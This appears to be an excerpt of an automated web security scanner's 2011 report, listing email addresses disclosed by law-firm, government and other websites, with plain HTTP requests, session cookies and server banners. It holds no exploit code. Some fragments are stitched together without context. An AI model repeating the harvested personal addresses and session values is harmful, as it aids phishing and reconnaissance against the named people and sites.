jen.spaziano@skadden.com
mitchell.ettinger@skadden.com
Request
GET /fca/ HTTP/1.1 Host: skaddenpractices.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following email addresses were disclosed in the response:
brian.mccarthy@skadden.com
greg.luce@skadden.com
mark.cheffo@skadden.com
matthew.kipp@skadden.com
michael.loucks@skadden.com
Request
GET /hc/ HTTP/1.1 Host: skaddenpractices.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following email address was disclosed in the response:
sam@twittercounter.com
Request
GET /rafaelp HTTP/1.1 Host: twittercounter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:15:07 GMT Server: Apache/2.2.14 (Fedora) PHP/5.3.2 X-Powered-By: PHP/5.3.2 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 20381
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> ...[SNIP]... <a href="mailto:sam@twittercounter.com" rel="nofollow" title="Get in contact with TwitterCounter"> ...[SNIP]...
The following email addresses were disclosed in the response:
20sgebru@dccouncil.us
webmaster@dccouncil.us
Request
GET /search?q=cache:3rvRzOiWwe0J:www.dccouncil.washington.dc.us/dcofficialcode+washington,+dc+law&cd=1&hl=en&ct=clnk&gl=us HTTP/1.1 Host: webcache.googleusercontent.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Cache-Control: private, max-age=0 Date: Wed, 19 Jan 2011 15:26:11 GMT Expires: -1 Server: gws X-XSS-Protection: 1; mode=block Connection: close
The following email address was disclosed in the response:
isu-info@abanet.org
Request
GET /x22 HTTP/1.1 Host: www.abanet.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Wed, 19 Jan 2011 15:26:37 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 41822
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!--- HTTP 404: File no ...[SNIP]... <a href="mailto:isu-info@abanet.org?subject=404 Report">isu-info@abanet.org</a> ...[SNIP]...
The following email address was disclosed in the response:
consult@abelsonlaw.com
Request
GET / HTTP/1.1 Host: www.abelsonlaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:26:35 GMT Server: Microsoft-IIS/6.0 MicrosoftOfficeWebServer: 5.0_Pub X-Powered-By: ASP.NET Content-Length: 30130 Content-Type: text/html Set-Cookie: ASPSESSIONIDQQRDDQCB=CAAFBMLCGGNECIMMACCGLHLN; path=/ Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Washington DC Personal Injury Attorneys / Car Crash Lawyers, Fatal Auto A ...[SNIP]... <input type="hidden" value="consult@abelsonlaw.com" name="EMAIL_TO"> ...[SNIP]...
The following email address was disclosed in the response:
Marsha.Tucker@aporter.com
Request
GET /about_the_firm_pro_bono_our_commitment.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:32 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The following email address was disclosed in the response:
events@aporter.com
Request
GET /events.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:00 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The following email addresses were disclosed in the response:
Stephen.DiGennaro@aporter.com
mailings.administrator@aporter.com
Request
GET /globals_privacy_policy.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The following email address was disclosed in the response:
inquiries@ashcraftandgerel.com
Request
GET / HTTP/1.1 Host: www.ashcraftandgerel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 15:28:07 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8i PHP/5.2.9 X-Powered-By: PHP/5.2.9 Set-Cookie: 31a53605532848d34efd54bd0292cede=bc255bf4797aff3a767238becd7bc8c4; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Wed, 19 Jan 2011 15:28:07 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" dir= ...[SNIP]... <a href="mailto:inquiries@ashcraftandgerel.com">inquiries@ashcraftandgerel.com</a> ...[SNIP]...
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://www.cov.com/zh-CN/offices/office.aspx?office=64">here</a>.</h2> </body></html>
<!DOCTYPE HTML PUBLIC "-/ ...[SNIP]... </div>eeliasoph@cov.com
The following email addresses were disclosed in the response:
LegalRecruiting@crowell.com
Opportunities@crowell.com
website@crowell.com
Request
GET /Global/ContactUs.aspx HTTP/1.1 Host: www.crowell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=70017346.1295449735.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=70017346.16201182.1295449735.1295449735.1295449735.1; __utmc=70017346; __utmb=70017346.1.10.1295449735; ASP.NET_SessionId=l4kde1moofjoay55nfsxex55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:43:31 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 36712
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The following email address was disclosed in the response:
website@crowell.com
Request
GET /Global/TermsOfUse.aspx HTTP/1.1 Host: www.crowell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=70017346.1295449735.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=70017346.16201182.1295449735.1295449735.1295449735.1; __utmc=70017346; __utmb=70017346.1.10.1295449735; ASP.NET_SessionId=l4kde1moofjoay55nfsxex55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:43:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 16063
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The following email address was disclosed in the response:
mreilly@crowell.com
Request
GET /NewsEvents/PressRelease.aspx?id=329 HTTP/1.1 Host: www.crowell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=70017346.1295449735.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=70017346.16201182.1295449735.1295449735.1295449735.1; __utmc=70017346; __utmb=70017346.1.10.1295449735; ASP.NET_SessionId=l4kde1moofjoay55nfsxex55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:43:23 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 26385
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The following email address was disclosed in the response:
fredck@fckeditor.net
Request
GET /fckeditor/fckeditor.js HTTP/1.1 Host: www.crowell.com Proxy-Connection: keep-alive Referer: http://www.crowell.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=l4kde1moofjoay55nfsxex55
Response
HTTP/1.1 200 OK Content-Length: 5331 Content-Type: application/x-javascript Last-Modified: Mon, 18 Dec 2006 17:23:56 GMT Accept-Ranges: bytes ETag: "09ede4bc922c71:793" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Wed, 19 Jan 2011 15:04:58 GMT
/* * FCKeditor - The text editor for internet * Copyright (C) 2003-2004 Frederico Caldeira Knabben * * Licensed under the terms of the GNU Lesser General Public License: * http://www.open ...[SNIP]... client side. For server side * operations, use the specific integration system. * * Version: 2.0 RC3 * Modified: 2005-02-27 19:04:39 * * File Authors: * Frederico Caldeira Knabben (fredck@fckeditor.net) */
// FCKeditor Class var FCKeditor = function( instanceName, width, height, toolbarSet, value ) { // Properties this.InstanceName = instanceName ; this.Width = width || '100%' ; t ...[SNIP]...
The following email address was disclosed in the response:
info@dcchamber.org
Request
GET /chamber/memberDetail.asp HTTP/1.1 Host: www.dcchamber.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Wed, 19 Jan 2011 15:47:49 GMT Server: Apache/2.0.63 (Red Hat) Set-Cookie: PHPSESSID=r9mt7q2l6q33qih8ijabts6j75; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>DC Chamber of Commer ...[SNIP]... <a href="mailto:info@dcchamber.org"> ...[SNIP]... <a href="mailto:info@dcchamber.org">info@dcchamber.org</a> ...[SNIP]...
The following email addresses were disclosed in the response:
20sgebru@dccouncil.us
webmaster@dccouncil.us
Request
GET /dcofficialcode HTTP/1.1 Host: www.dccouncil.washington.dc.us Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:47:52 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 Cache-Control: private X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=goxvvj3a2ltzid45pmurwfa0; path=/; HttpOnly X-Powered-By: ASP.NET Content-Length: 186933
The following email address was disclosed in the response:
comments@DirectStarTV.com
Request
GET / HTTP/1.1 Host: www.directstartv.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following email address was disclosed in the response:
info@ccc-law.com
Request
GET / HTTP/1.1 Host: www.dwi-law.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:48:18 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/1.0.0a DAV/2 mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Accept-Ranges: bytes Connection: close Content-Type: text/html Content-Length: 17938
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Maryland Attorneys | DUI / DWI, Criminal Defense & Auto Accident Lawyers | Traffic Violation & Personal In ...[SNIP]... <a href="mailto:info@ccc-law.com">info@ccc-law.com</a> ...[SNIP]... <a href="mailto:info@ccc-law.com" class="footer">info@ccc-law.com</a> ...[SNIP]...
/* Copyright (c) 2006 Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net) * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses. * Thanks to: ...[SNIP]...
The following email address was disclosed in the response:
rreif@ebglaw.com
Request
GET /showoffice.aspx?Show=542 HTTP/1.1 Host: www.ebglaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:48:26 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Pragma: no-cache Set-Cookie: ASP.NET_SessionId=uhd35155lvi11l45rc200ezs; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 63652
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head pro ...[SNIP]... <a href="mailto:rreif@ebglaw.com">rreif@ebglaw.com</a> ...[SNIP]...
The following email address was disclosed in the response:
hello@filamentgroup.com
Request
GET / HTTP/1.1 Host: www.filamentgroup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following email address was disclosed in the response:
hello@filamentgroup.com
Request
GET /lab/retaining_scalable_interfaces_with_pixel_to_em_conversion/ HTTP/1.1 Host: www.filamentgroup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
/* Prototype JavaScript framework, version 1.5.0_rc1 * (c) 2005 Sam Stephenson <sam@conio.net> * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see ...[SNIP]...
The following email addresses were disclosed in the response:
gnu@gnu.org
licensing@fsf.org
licensing@gnu.org
web-translators@gnu.org
webmasters@gnu.org
you@example.com
Request
GET /licenses/ HTTP/1.1 Host: www.gnu.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:57:12 GMT Server: Apache Accept-Ranges: bytes Cache-Control: max-age=0 Expires: Wed, 19 Jan 2011 15:57:12 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 28905
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
The following email addresses were disclosed in the response:
gnu@gnu.org
web-translators@gnu.org
webmasters@gnu.org
you@example.com
Request
GET /licenses/gpl.html HTTP/1.1 Host: www.gnu.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:57:14 GMT Server: Apache Accept-Ranges: bytes Cache-Control: max-age=0 Expires: Wed, 19 Jan 2011 15:57:14 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 50306
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
The following email address was disclosed in the response:
lgoldsmith@goldsmithfirm.com
Request
GET / HTTP/1.1 Host: www.goldsmithfirm.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:57:21 GMT Content-Length: 11806 Content-Type: text/html Content-Location: http://www.goldsmithfirm.com/index.html Last-Modified: Tue, 03 Nov 2009 22:54:23 GMT Accept-Ranges: bytes ETag: "a479e995d85cca1:c59a" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET
// this is where we write out the VBScript for MSIE Windows var WM_startTagFix = '</'; var msie_windows = 0; if ((navigator.userAgent.indexOf('MSIE') != -1) ...[SNIP]...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>